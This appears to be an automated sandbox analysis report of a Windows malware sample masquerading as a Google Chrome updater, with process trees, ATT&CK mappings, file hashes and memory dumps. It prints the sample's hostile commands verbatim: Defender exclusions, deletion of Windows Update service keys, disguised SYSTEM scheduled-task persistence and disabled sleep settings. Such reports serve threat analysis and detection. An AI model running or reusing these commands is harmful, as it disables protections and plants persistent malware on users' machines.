PID 4964 wrote to memory of 1476	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 1476	4964	cmd.exe	sc.exe
PID 4964 wrote to memory of 2148	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 2148	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 404	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 404	4964	cmd.exe	reg.exe
PID 1168 wrote to memory of 4392	1168	cmd.exe	powercfg.exe
PID 1168 wrote to memory of 4392	1168	cmd.exe	powercfg.exe
PID 4964 wrote to memory of 3168	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 3168	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 2372	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 2372	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 3600	4964	cmd.exe	reg.exe
PID 4964 wrote to memory of 3600	4964	cmd.exe	reg.exe
PID 1928 wrote to memory of 3076	1928	updater.exe	conhost.exe
PID 2664 wrote to memory of 4412	2664	cmd.exe	WMIC.exe
PID 2664 wrote to memory of 4412	2664	cmd.exe	WMIC.exe
PID 1928 wrote to memory of 3864	1928	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3216

C:\Users\Admin\AppData\Local\Temp\testing.exe
"C:\Users\Admin\AppData\Local\Temp\testing.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4404

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
2⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:8

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:3632

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2064

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4524

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3720

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1372

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3464

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1708

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1180

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:3680

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4344

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:2824

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3512

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3856

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:4532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:988

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1332

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4524

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3512

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:2196

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1476

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:404

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:2148

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:3168

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:2372

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:3600

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:3240

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:3356

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2468

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:4392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:868

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe piwxkhozdwrizr
2⤵
PID:3076

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
PID:4412

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:4632

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza
2⤵
PID:3864

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
2.1MB

MD5
a12bc9557ad889a49e7b4f970c78dda8

SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa

SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0

SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
348014d9e736a671215f88ce6e8c5b41

SHA1
42536547e285d3ed9b0dd6fb3e0a634f3567188b

SHA256
2f73e4c9681161566d442004e178e0e229091c10cf0c1a9d1c38a6fdcfcfde7a

SHA512
e703cf10fb974e4ba5ce41565a31b42703d61f8357fa0b64d0dd1dd8edf1fbcd274ee8e31678cb83fa6ac34d2ec15a018a04261c28869a7f47f088506945037c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jvyvvgal.uat.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\drivers\etc\hosts
Filesize
3KB

MD5
00930b40cba79465b7a38ed0449d1449

SHA1
4b25a89ee28b20ba162f23772ddaf017669092a5

SHA256
eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

SHA512
cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
\??\c:\program files\google\chrome\updater.exe
Filesize
2.1MB

MD5
a12bc9557ad889a49e7b4f970c78dda8

SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa

SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0

SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee

Download Submit
memory/8-158-0x00000192B92C0000-0x00000192B92D0000-memory.dmp

Filesize
64KB

Download
memory/8-157-0x00000192B92C0000-0x00000192B92D0000-memory.dmp

Filesize
64KB

Download
memory/8-159-0x00000192B92C0000-0x00000192B92D0000-memory.dmp

Filesize
64KB

Download
memory/8-147-0x00000192B9580000-0x00000192B95A2000-memory.dmp

Filesize
136KB

Download
memory/868-256-0x00007FF4C1140000-0x00007FF4C1150000-memory.dmp

Filesize
64KB

Download
memory/868-244-0x0000016A5A320000-0x0000016A5A330000-memory.dmp

Filesize
64KB

Download
memory/868-245-0x0000016A5A320000-0x0000016A5A330000-memory.dmp

Filesize
64KB

Download
memory/868-257-0x0000016A5A320000-0x0000016A5A330000-memory.dmp

Filesize
64KB

Download
memory/936-133-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-144-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-145-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-143-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-146-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-142-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-140-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-141-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-135-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/936-134-0x000001C8066D0000-0x000001C8066D1000-memory.dmp

Filesize
4KB

Download
memory/988-222-0x0000025BFE820000-0x0000025BFE83C000-memory.dmp

Filesize
112KB

Download
memory/988-225-0x0000025B99DE0000-0x0000025B99DE8000-memory.dmp

Filesize
32KB

Download
memory/988-208-0x0000025B997C0000-0x0000025B997D0000-memory.dmp

Filesize
64KB

Download
memory/988-207-0x0000025B997C0000-0x0000025B997D0000-memory.dmp

Filesize
64KB

Download
memory/988-209-0x0000025B997C0000-0x0000025B997D0000-memory.dmp

Filesize
64KB

Download
memory/988-219-0x0000025B99BC0000-0x0000025B99BDC000-memory.dmp

Filesize
112KB

Download
memory/988-220-0x0000025BFE690000-0x0000025BFE69A000-memory.dmp

Filesize
40KB

Download
memory/988-221-0x00007FF471320000-0x00007FF471330000-memory.dmp

Filesize
64KB

Download
memory/988-228-0x0000025B997C0000-0x0000025B997D0000-memory.dmp

Filesize
64KB

Download
memory/988-223-0x0000025BFE7C0000-0x0000025BFE7CA000-memory.dmp

Filesize
40KB

Download
memory/988-224-0x0000025BFE850000-0x0000025BFE86A000-memory.dmp

Filesize
104KB

Download
memory/988-227-0x0000025BFE7D0000-0x0000025BFE7DA000-memory.dmp

Filesize
40KB

Download
memory/988-226-0x0000025B99DF0000-0x0000025B99DF6000-memory.dmp

Filesize
24KB

Download
memory/1928-197-0x00007FF78FAE0000-0x00007FF78FCF6000-memory.dmp

Filesize
2.1MB

Download
memory/1928-263-0x00007FF78FAE0000-0x00007FF78FCF6000-memory.dmp

Filesize
2.1MB

Download
memory/1928-255-0x00007FF78FAE0000-0x00007FF78FCF6000-memory.dmp

Filesize
2.1MB

Download
memory/3076-268-0x00007FF6629D0000-0x00007FF6629E6000-memory.dmp

Filesize
88KB

Download
memory/3076-277-0x00007FF6629D0000-0x00007FF6629E6000-memory.dmp

Filesize
88KB

Download
memory/3148-180-0x00007FF6AF560000-0x00007FF6AF776000-memory.dmp

Filesize
2.1MB

Download
memory/3148-139-0x00007FF6AF560000-0x00007FF6AF776000-memory.dmp

Filesize
2.1MB

Download
memory/3856-193-0x000001F20BE60000-0x000001F20BE70000-memory.dmp

Filesize
64KB

Download
memory/3856-192-0x000001F20BE60000-0x000001F20BE70000-memory.dmp

Filesize
64KB

Download
memory/3856-191-0x000001F20BE60000-0x000001F20BE70000-memory.dmp

Filesize
64KB

Download
memory/3864-274-0x0000020DAA770000-0x0000020DAA790000-memory.dmp

Filesize
128KB

Download
memory/3864-286-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-320-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-266-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-267-0x0000020DAA700000-0x0000020DAA740000-memory.dmp

Filesize
256KB

Download
memory/3864-269-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-318-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-270-0x0000020DAA770000-0x0000020DAA790000-memory.dmp

Filesize
128KB

Download
memory/3864-271-0x0000020DAA790000-0x0000020DAA7B0000-memory.dmp

Filesize
128KB

Download
memory/3864-273-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-275-0x0000020DAA790000-0x0000020DAA7B0000-memory.dmp

Filesize
128KB

Download
memory/3864-316-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-314-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-278-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-280-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-282-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-284-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-262-0x0000020DAA2D0000-0x0000020DAA2F0000-memory.dmp

Filesize
128KB

Download
memory/3864-288-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-290-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-292-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-294-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-296-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-298-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-300-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-302-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-304-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-306-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-308-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-310-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/3864-312-0x00007FF63B580000-0x00007FF63BD74000-memory.dmp

Filesize
8.0MB

Download
memory/4404-174-0x0000015B7F470000-0x0000015B7F480000-memory.dmp

Filesize
64KB

Download
memory/4404-175-0x0000015B7F470000-0x0000015B7F480000-memory.dmp

Filesize
64KB

Download
memory/4404-176-0x0000015B7F470000-0x0000015B7F480000-memory.dmp

Filesize
64KB

Download
memory/4404-177-0x0000015B7F470000-0x0000015B7F480000-memory.dmp

Filesize
64KB

Download